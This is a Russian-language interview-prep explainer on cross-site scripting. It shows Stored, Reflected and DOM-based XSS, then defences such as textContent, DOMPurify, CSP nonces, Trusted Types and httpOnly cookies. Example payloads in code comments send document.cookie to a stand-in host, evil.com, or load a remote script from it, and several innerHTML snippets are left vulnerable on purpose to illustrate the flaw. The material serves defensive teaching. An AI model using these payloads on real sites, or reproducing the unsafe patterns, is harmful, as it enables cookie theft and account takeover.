XSS (Cross-Site Scripting)
XSS — инъекция вредоносного скрипта в страницу жертвы через непроверенный пользовательский ввод; входит в OWASP Top 10 и остаётся самой распространённой frontend-уязвимостью; на собеседованиях проверяют знание трёх типов (Stored, Reflected, DOM-based) и умение выстроить многоуровневую защиту.
// ATTACK: Reflected XSS — непроверенный ввод напрямую в innerHTML// URL: /search?q=<script>fetch('//evil.com?c='+btoa(document.cookie))</script>
const params = new URLSearchParams(location.search);const query = params.get('q');
// ❌ Уязвимо: вставляем сырой HTML без экранированияdocument.getElementById('results').innerHTML = `Результаты для: ${query}`;// Если query = <img src=x onerror="fetch('//evil.com?c='+btoa(document.cookie))">// → браузер выполнит JS в контексте нашего origin → кража cookies/токенов/DOM
// ATTACK: Stored XSS — вредоносный контент сохранён в БД, рендерится всем// Комментарий в БД: <script>document.body.appendChild(Object.assign(// document.createElement('script'), {src:'//evil.com/logger.js'}// ))</script>// При рендеринге всем пользователям — браузер выполнит инъектированный скрипт.
// ATTACK: DOM-based XSS — уязвимость в клиентском кодеconst hash = location.hash.slice(1); // #<img src=x onerror=...>document.querySelector('.msg').innerHTML = decodeURIComponent(hash); // ❌// MITIGATION: textContent + DOMPurify для rich text
// ✅ Для plain text — всегда textContentdocument.getElementById('results').textContent = `Результаты для: ${query}`;document.querySelector('.msg').textContent = decodeURIComponent(hash);
// ✅ Если нужен HTML (Rich Text Editor, Markdown output) — DOMPurifyimport DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(userGeneratedHTML, { ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'ul', 'ol', 'li', 'br'], ALLOWED_ATTR: ['href', 'title', 'target'], ALLOWED_URI_REGEXP: /^(?:(?:https?|mailto):|[^a-z]|[a-z+.\-]+(?:[^a-z+.\-:]|$))/i, FORBID_ATTR: ['style', 'onerror', 'onclick'],});element.innerHTML = clean; // безопасно после очистки
// ✅ React / Vue: JSX и шаблоны экранируют HTML автоматически// <div>{userInput}</div> → безопасно (textContent)// <div dangerouslySetInnerHTML={{ __html: html }} → ОПАСНО, только после DOMPurify// Хранение токенов: localStorage vs httpOnly cookie// ❌ localStorage.setItem('token', jwt)// → любой XSS-скрипт читает localStorage.getItem('token') → кража токена// ✅ httpOnly cookie (установлен сервером)// → document.cookie не содержит httpOnly-cookie → JS-скрипт не может украсть
// CSP как backstop (сервер):// Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'// Браузер заблокирует любые inline-скрипты без nonce, даже при успешной инъекции.
// Trusted Types API (Chrome): принудительное использование безопасных API// Content-Security-Policy: require-trusted-types-for 'script'// Это делает .innerHTML = string синтаксической ошибкой в runtime — нужен TrustedHTML.
// input validation (Defence in Depth): серверная валидация ОБЯЗАТЕЛЬНА// Express / Zodimport { z } from 'zod';const CommentSchema = z.object({ text: z.string().max(2000).trim(), // никогда не принимать HTML с клиента без sanitization на сервере});Итог: XSS закрывается трёхуровневой защитой: textContent вместо innerHTML, DOMPurify для rich text, CSP с nonce как последний рубеж.